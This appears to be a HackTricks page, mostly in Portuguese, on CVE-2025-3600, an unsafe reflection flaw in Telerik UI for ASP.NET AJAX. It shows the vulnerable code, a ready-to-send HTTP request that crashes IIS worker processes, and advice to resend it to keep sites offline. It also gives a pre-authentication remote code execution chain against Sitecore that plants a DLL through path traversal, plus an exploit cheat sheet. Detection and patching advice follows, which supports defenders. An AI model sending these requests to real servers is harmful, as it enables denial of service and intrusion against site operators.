private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: Controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Mesmo que a requisição seja rejeitada posteriormente, os efeitos colaterais do gadget já ocorreram.

## Universal DoS gadget (nenhum gadget específico da aplicação é necessário)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) tem um finalizador que libera um handle não inicializado, causando uma exceção não tratada quando o GC o finaliza. Isso faz com que o IIS worker process falhe de forma confiável logo após a instanciação.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notas

• Continue enviando periodicamente para manter o site offline. Você pode observar o construtor sendo atingido em um debugger; o crash ocorre na finalização.

De DoS para RCE – padrões de escalada

A execução insegura de construtores desbloqueia muitos gadgets e cadeias específicas do alvo. Procure por:

1. Parameterless constructors that process attacker input

• Alguns ctors (ou inicializadores estáticos) leem imediatamente Request query/body/cookies/headers e (de)serializam esses dados.
• Exemplo (Sitecore): uma cadeia de ctors alcança GetLayoutDefinition() que lê o corpo HTTP “layout” e desserializa JSON via JSON.NET.

2. Constructors that touch files

• Ctors que carregam ou desserializam config/blobs do disco podem ser coagidos se você puder gravar nesses caminhos (pastas uploads/temp/data).

3. Constructors performing app-specific ops

• Redefinir estado, alternar módulos ou encerrar processos.

4. Constructors/static ctors that register AppDomain event handlers

• Muitos apps adicionam AppDomain.CurrentDomain.AssemblyResolve handlers que constroem caminhos de DLL a partir de args.Name sem sanitização. Se você puder influenciar a resolução de tipos, pode forçar carregamentos arbitrários de DLLs a partir de caminhos controlados pelo atacante.

5. Forcing AssemblyResolve via Type.GetType

• Solicite um tipo inexistente para forçar a resolução do CLR e invocar resolvers registrados (possivelmente inseguros). Exemplo assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr

6. Finalizadores com efeitos colaterais destrutivos

• Alguns tipos deletam arquivos de caminho fixo em finalizadores. Combinado com seguimento de links ou caminhos previsíveis, isso pode permitir elevação de privilégios local em certos ambientes.

Exemplo de cadeia pre‑auth RCE (Sitecore XP)

• Passo 1 – Pre‑auth: Acionar um tipo cujo static/instance ctor registra um AssemblyResolve handler inseguro (e.g., Sitecore’s FolderControlSource in ControlFactory).
• Passo 2 – Post‑auth: Obter escrita em um diretório sondado pelo resolver (e.g., via an auth bypass or weak upload) e plantar uma DLL maliciosa.
• Passo 3 – Pre‑auth: Use CVE‑2025‑3600 com um tipo inexistente e um nome de assembly contendo traversal para forçar o resolver a carregar sua DLL plantada → execução de código como o IIS worker.

Exemplos de gatilhos

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validação, hunting e notas DFIR

• Validação segura em laboratório: execute o DoS payload e observe por app pool recycle/unhandled exception ligado ao WSMan finalizer.
• Hunt na telemetria:
• Requisições para /Telerik.Web.UI.WebResource.axd com type=iec e valores prtype estranhos.
• Carregamentos de type falhos e eventos AppDomain.AssemblyResolve.
• Crashes/recycles súbitos de w3wp.exe após tais requisições.

Mitigação

• Aplique o patch para Telerik UI for ASP.NET AJAX 2025.1.416 ou posterior.
• Remova ou restrinja a exposição de Telerik.Web.UI.WebResource.axd quando possível (WAF/rewrites).
• Ignore ou endureça o tratamento de prtype no servidor (a atualização aplica verificações apropriadas antes da instanciação).
• Audite e endureça handlers customizados AppDomain.AssemblyResolve. Evite construir paths a partir de args.Name sem sanitização; prefira carregamentos strong-named ou whitelists.
• Restrinja locais de upload/escrita e previna queda de DLLs em diretórios sondados.
• Monitore tentativas de carregamento de tipos inexistentes para detectar abuso do resolver.

Cheat‑sheet

• Presence check:
• GET /Telerik.Web.UI.WebResource.axd
• Procure mapeamento de handler em web.config
• Exploit skeleton:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>

• DoS universal:

...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

• Resolvedor de Trigger:

This.Class.Does.Not.Exist, watchTowr

Técnicas relacionadas

• IIS post-exploitation, .NET key extraction e in‑memory loaders:

IIS - Internet Information Services

• ASP.NET ViewState deserialization e abusos de machineKey:

Exploiting __VIEWSTATE without knowing the secrets

Referências

• Progress Telerik – Unsafe Reflection Vulnerability (3600)
• watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
• Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
• ZDI – Abusing arbitrary file deletes to escalate privilege
• watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

• Confira os planos de assinatura!
• Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
• Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.